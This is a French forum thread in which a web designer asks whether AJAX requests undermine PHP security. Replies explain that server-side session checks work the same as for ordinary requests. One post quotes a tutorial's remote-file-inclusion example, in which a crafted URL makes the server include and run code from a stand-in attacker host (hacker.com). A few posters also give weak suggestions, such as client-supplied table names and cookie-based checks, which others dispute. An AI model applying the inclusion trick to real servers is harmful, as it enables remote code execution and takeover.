Bonjour à tous,

Je me lance doucement dans AJAX en utilisant une librairie Prototype, et je me dis que c'est sacrément dangereux puisque c'est du javascript (éditable) qui fait les requête... on perd toute la magie du PHP.

Je me suis un peu renseigné et j'ai appris qu'il existait deux solutions, à savoir utiliser un pare feu analysant les requêtes ou utiliser un identifiant strictement unique pour chaque requête (UUID ou GUID), mais dans la pratique je ne sais pas comment ça s'implémente ni si Prototype supporte cette deuxième solution (qui me paraît moins lourde mais je peux me tromper).

Je ne trouve pas d'article traitant des UUID.en rapport avec AJAX (mais plutôt en programmation) Quelqu'un pourrait-il me diriger ou me donner un complément d'informations ?

Merci.

Je vois pas ce qui change. Avec l'ajax, t'es autant obligé de vérifier les données cotés serveur qu'avec n'importe quel autre système. Envoyer des requêtes http modifiées sur le réseau, c'est facile.

Tes histoires d'identifiants, c'est une mauvaise solution. En fait, j'ai un peu l'impression que tu faisais de la sécurité par l'obscurité en utilisant ton php.

Et bien, il ne faut pas, il faut faire de la vraie sécurité.

Si c'est le script javascript qui appelle la portion de page, tu peux appeler n'importe quel code malicieux, et comme il n'y a pas de rechargement (seule cette partie change) tu ne peux pas faire de vérification côté serveur.

C'est comme ça que je comprends le problème de sécurité, maintenant je ne sais pas ce que tu appelles "obscurité". Si c'est le fait que le code PHP s'exécute uniquement côté serveur et qu'il soit invisible (donc non-modifiable) côté client, oui, je trouve que c'est une bonne chose.

Maintenant, je suis plus webdesigneur que programmeur, je suis même plus directeur artistique de mon métier principal, donc j'admets mes limites dans ce domaine bien précis et je n'ai eu qu'une réflexion peut-être superficielle sur le problème.

En fait, ca ne change strictement rien ! Les sessions PHP sont conservees lors des requetes AJAX ce qui permet de savoir si l'utilisateur a bien les droits ou non. Je ne vois rien qui puisse changer dans ta facon de coder en PHP avec l'ajax, si ce n'est que les templates sont grandement allege.

Le probleme de la securite est le meme que dans des cas classiques d'utilisation du PHP: l'utilisateur peut egalement appeler directement les script php de son navigateur.

En fait j'ai du mal à me représenter la chose. C'était facile de me dire "j'appelle une page, son code est analysé, qu'est-ce qui peut se passer ?" je voyais tout dans sa globalité.

Pour ma part, je sécurise au cas par cas sur la page appelée en PHP. Un exemple, j'ai fait un script d'autocomplétion où la fonction s'appelle ainsi :

onKeyUp="suggest(this, 'nom_de_la_table', 'nom_du_champ');"

A priori, cela permettrait d'interroger n'importe quelle table de la base. Pour éviter ceci, sur le page PHP appelée, il y a une array contenant la liste des tables destinées à être interrogées par ce moyen, et je fais une vérification avant la requête.
Sinon, pour sécuriser les histoires de membres et cie, le mieux est de passer par les sessions PHP (toujours revérifier sur la page appelée en AJAX).

Elias: je trouve ca assez dangereux dans la mesure ou n'importe qui peut se representer ton schema de donnees. Je ne vois vraiment pas en quoi l'utilisation d'AJAX devrait modifier sa facon de coder en PHP, si ce n'est que dans la representation de la reponse.

J'ai assimilé qu'on pouvait faire des tests sur la page PHP appelée car le code php est mouliné par le serveur avant d'être incorporé à la page, donc pas de prolème là dessus.

Mais je me demande comment ça se passe si quelqu'un modifie la source de ma page HTML, modifie le javascript et appelle une page à lui. Quoique, si c'est *sa* page PHP, elle est moulinée par *son* serveur n'est-ce pas ? Pas par le miens, et ça ne change rien pour moi, non ?

Je m'embrouille certaienment l'esprit pour rien.

Non, ca sera bien ton serveur qui sera appele, mais considere le cas suivant :

Sans AJAX :

Tu as un bouton supprimer une news, quand tu clic dessus, ca appelle la page www.tonsite.tld/delete_news.php?id=5

Basiquement, ton script verifie qui est l'utilisateur grace a un systeme de session (c'est la seule maniere fiable de le faire en PHP). Ce qui fait que si quelqu'un qui n'est pas enregistre fait appel a ta page, la news ne sera pas supprimee et renverra une erreur.

Avec AJAX :

C'est exactement pareil, le script verifie grace aux sessions si l'utilisateur a le droit ou non d'effectuer l'action.

Alors, qu'est ce qui differencie le cas ou l'utilisateur mal intentionne entre dans son navigateur le lien "www.tonsite.tld/delete_news.php?id=5", et celui ou l'utilisateur modifie son code javascript pour que l'action AJAX effectuee soit delete_news.php?id=5 ? Rien, si l'utilisateur n'est pas authentifie, la news ne sera pas supprimee.

Le code JavaScript est execute cote client, une autre maniere de le comprendre pourrait etre de voir l'AJAX comme un petit navigateur web en JavaScript, qui permet de demander des pages sur le site courant.

Citation : Elias

Pour ma part, je sécurise au cas par cas sur la page appelée en PHP. Un exemple, j'ai fait un script d'autocomplétion où la fonction s'appelle ainsi :

onKeyUp="suggest(this, 'nom_de_la_table', 'nom_du_champ');"

Aïe aë aïe, ça te fait une requête à chaque lettre entrée. C'est criminel pour le serveur ça.
Le mieux est de faire une fonction périodique (avec un setInterval) qui analyse le contenu du champ.


Mais pour le sujet, AJAX ou pas, il faut absolument faire toutes les vérifications de sécurités, car quelqu'un pourrait regarder la source de la page et faire une requête lui-même. Une vérification côté serveur (PHP) est IMPERATIVE .

Donc à moins le laisser des failles béantes je ne risque rien puisqu'il suffit de s'authentifier, pourtant j'avais cru comprendre qu'il y avait d'autres possibilités de piratage.

J'interpète un peu l'ajax comme des includes en temps réel, or dans le tuto de m@teo sur PHP on met un peu en garde contre ça :

Citation : m@teo

Si l'url contient index.php?page=http://www.hacker.com/pagespeciale, alors on incluera http://www.hacker.com/pagespeciale.php

Euh, attends une minute là, tu peux m'expliquer le dernier exemple ?

Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette instruction :
<?php include("http://www.hacker.com/pagespeciale.php"); ?>

Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi, et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).

Et alors ?

Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"
Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse certains abrutis (et je pèse mes mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là

Bien entendu, on ne peut pas dire à PHP de sortir tous les mots de passe du site comme ça, c'est un peu plus compliqué. Mais, réveillez-vous : vous êtes ici pour apprendre le PHP, pas pour apprendre comment hacker un site web hein ?

Sauf que, si sans AJAX je peux écrire des conditions pour refuser des includes qui ne sont pas désirées, ou écrire mon script d'inclusion de telle manière que ce sera séurisé, ce n'est pas le cas il me semble en AJAX car c'est Javascript qui fait la "demande d'inclusion" et que cette fameuse écriture sécurisée est éditable.

Je pose peut-être des questions bêtes mais si j'applique tous les conseils donnés en matière de sécurité (failles XSS , sql) je ne les comprends pas pour autant.

Tu demande une page à un serveur en lui envoyant des données, et il t'envoie une réponse.
La réponse, tu n'as pas à la vérifier, ou alors peu, car même si l'utilisateur la transforme, ca reste superficiel, vu que c'est utilisé par javascript.
Par contre, les données, il faut les sécuriser le maximum possible, et les vérifications doivent se faire en PHP. Tu peux par exemple rajouter un cookie contenant tes variable qui peut être atteint en js et en PHP pour essayer de renforcer la sécurité, et essaye de rendre le moins évident possible l'appel en AJAX si tu veux sécuriser.
Mais cela n'empêchera jamais un utilisateur malicieux de te faire un mauvais coup, donc il faut toujours faire plein de vérifications en PHP, histoire que ca ne modifie pas concrètement ton site .

Ton histoire de cookie, c'est comment s'embêter pour rien du tout. Ça peut amuser un éventuel hackeur, mas c'est tout.

D'un point du vue sécurité, il n'y a pas de différence entre de l'ajax et un formulaire classique. Le client envoie les données en brut, le serveur vérifie les données. Si c'est pas bon, il engueule le client, sinon il dit que tout est ok.

Mais je les fait où mes vérifications en PHP si ma page .php ne se recharge pas ? C'est ça que je ne comprends pas. Il n'y a que sur le fichier php inclus que je peux faire une vérif, or ça peut être celui d'un tiers exécuté sur mon serveur (donc pas de vérif), bref, je ne contrôle pas du tout l'inclusion.

Je me trompe ou pas ?

Je ne m'y connais pas tant que ça mais ça ne me semble pas superficiel que l'utilisateur puisse transformer la "réponse" s'il y place un code php malveillant qui me demande des clés d'authentification ou autre...

Pour le cookie je ne comprend pas tellement le principe (ça se supprime non ?)

Oui, le cookie, ça se supprime. Il a eu une mauvaise idée.

Sinon, là ou tu n'as apparemment pas compris le principe de l'ajax, c'est que ça charge une page. Ça te permet d'appeler des pages sur ton serveur sans que le navigateur du client change d'url.

Souvent on dit que ça ne recharge pas la page, car en fait on demande une page en ajax qui ne contient que les nouvelles informations, et on ne met à jour que ce qui a changé. Toute la page n'est pas rechargée.

Et pour ton code malveillant, oui, si tu fais pas les bonnes vérifications, le client peut te demander tout ce qu'il veut. Ajax ou pas, ça ne change rien.

Ah ! Attends, ça change tout ce que tu me dis... Donc si j'ai un script php sur ma page et qu'une des variables dont il se sert change ça va relancer le script ?

Par contre je peux témoigner que la page ne se recharge pas (dans le sens : actualisatio,/refresh) car j'utilise une "animation" JS qui se réinitialise au chargement, or en utilisant les requêtes AJAX il n'y a pas cette réinitialisation (c'est d'ailleurs un des intérêts d'AJAX pour moi, comparable à un site en Flash, mais du coup plus accessible)

Non, mais tu vas pouvoir rappeler le script avec ajax.

Cotés client, la page ne se recharge pas, mais cotés serveur, c'est pareil que si elle se rechargeait.

Merci à tous pour vos commentaires, je suis rassuré et j'ai mieux compris le fonctionnement d'AJAX.

Je ne vais pas m'amuser à tagger toutes les réponses intéressantes, elles le sont toutes pour moi